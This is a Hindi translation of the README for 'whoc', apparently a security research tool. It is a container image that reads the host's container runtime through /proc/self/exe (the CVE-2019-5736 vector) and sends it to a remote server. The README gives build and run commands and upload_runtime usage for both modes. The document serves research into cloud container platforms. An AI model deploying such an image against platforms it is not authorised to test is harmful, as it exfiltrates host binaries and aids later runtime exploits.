
एक कंटेनर इमेज जो अंतर्निहित कंटेनर रनटाइम को दूरस्थ सर्वर पर चुरा ले जाती है
एक कंटेनर इमेज जो अंतर्निहित कंटेनर रनटाइम को निकालती है और इसे एक रिमोट सर्वर पर भेजती है। अपने पसंदीदा CSP कंटेनर प्लेटफॉर्म के अंतर्निहित कंटेनर रनटाइम को परखें!
जैसा कि runc CVE-2019-5736 द्वारा दिखाया गया है, पारंपरिक Linux कंटेनर रनटाइम /proc/self/exe के माध्यम से अपने आप को उन कंटेनरों के सामने उजागर करते हैं जिन्हें वे चला रहे हैं। whoc इस लिंक का उपयोग करके उस कंटेनर रनटाइम को पढ़ता है जो इसे निष्पादित कर रहा है।
यह whoc का डिफ़ॉल्ट मोड है जो डायनामिक रूप से जुड़े कंटेनर रनटाइम के खिलाफ काम करता है।
whoc इमेज का एंट्रीपॉइंट /proc/self/exe पर सेट किया गया है, और इमेज के डायनामिक लिंकर (ld.so) को upload_runtime से बदल दिया गया है।upload_runtime) को रनटाइम प्रक्रिया में लोड करता है और निष्पादन को इस पर स्थानांतरित करता है।upload_runtime रनटाइम बाइनरी को /proc/self/exe के माध्यम से पढ़ता है और कॉन्फ़िगर किए गए रिमोट सर्वर पर भेजता है।
स्टैटिक रूप से जुड़े कंटेनर रनटाइम के लिए, whoc एक अन्य संस्करण में आता है: whoc:waitforexec।
upload_runtime इमेज का एंट्रीपॉइंट है, और whoc कंटेनर के PID 1 के रूप में चलता है।whoc कंटेनर में exec करे और /proc/self/exe को इंगित करने वाली एक फ़ाइल को लागू करे (जैसे docker exec whoc_ctr /proc/self/exe)।upload_runtime रनटाइम बाइनरी को /proc/$runtime-pid/exe के माध्यम से पढ़ता है और कॉन्फ़िगर किए गए रिमोट सर्वर पर भेजता है।
आपको docker और python3 इंस्टॉल होना चाहिए। रिपॉजिटरी को क्लोन करें:
git clone [email protected]:twistlock/whoc.git && cd whoc
निकाले गए कंटेनर रनटाइम को प्राप्त करने के लिए एक फ़ाइल सर्वर सेट करें:
mkdir -p stash && cd stash
ln -s ../util/fileserver.py fileserver
./fileserver
दूसरे शेल से, अपनी पसंद के कंटेनर वातावरण में whoc इमेज चलाएँ, उदाहरण के लिए Docker:
cd whoc
docker build -f Dockerfile_dynamic -t whoc:latest src # या ./util/build.sh
docker run --rm -it --net=host whoc:latest 127.0.0.1 # या ./util/run_local.sh
देखें कि फ़ाइल सर्वर ने कंटेनर रनटाइम प्राप्त कर लिया। यदि आप वेनिला Docker के अंतर्गत whoc चलाते हैं, तो प्राप्त कंटेनर रनटाइम runc होना चाहिए।
--net=host का उपयोग केवल स्थानीय परीक्षणों में किया जाता है ताकि whoc कंटेनर होस्ट पर 127.0.0.1 के माध्यम से फ़ाइलसर्वर तक आसानी से पहुंच सके।
डिफ़ॉल्ट रूप से whoc linux/amd64 के लिए बनाया गया है, लेकिन यह अन्य CPU आर्किटेक्चर का भी समर्थन करता है। प्रतीक्षा-और-निष्पादित (wait-for-exec) मोड को सामान्य रूप से बनाया जा सकता है। अन्य CPU आर्किटेक्चर के लिए डायनामिक मोड में whoc बनाने के लिए, आपको PLATFORM_LD_PATH_ARG बिल्ड तर्क को लक्ष्य आर्किटेक्चर पर डायनामिक लिंकर के पथ के साथ भरना होगा।
arm64 के लिए एक उदाहरण बिल्ड स्क्रिप्ट util/build_arm64.sh पर उपलब्ध है।
whoc के मुख्य बाइनरी, upload_runtime के लिए सहायता:
Usage: upload_runtime [options] <server_ip>
Options:
-p, --port Port of remote server, defaults to 8080
-e, --exec Wait-for-exec mode for static container runtimes, waits until an exec to the container occurred
-b, --exec-bin In exec mode, overrides the default binary created for the exec, default is /bin/enter
-a, --exec-extra-argument In exec mode, pass an additional argument to the runtime so it won't exit quickly
-r, --exec-readdir-proc In exec mode, instead of guessing the runtime pid (which gives whoc one shot of catching the runtime),
find the runtime by searching for new processes under '/proc'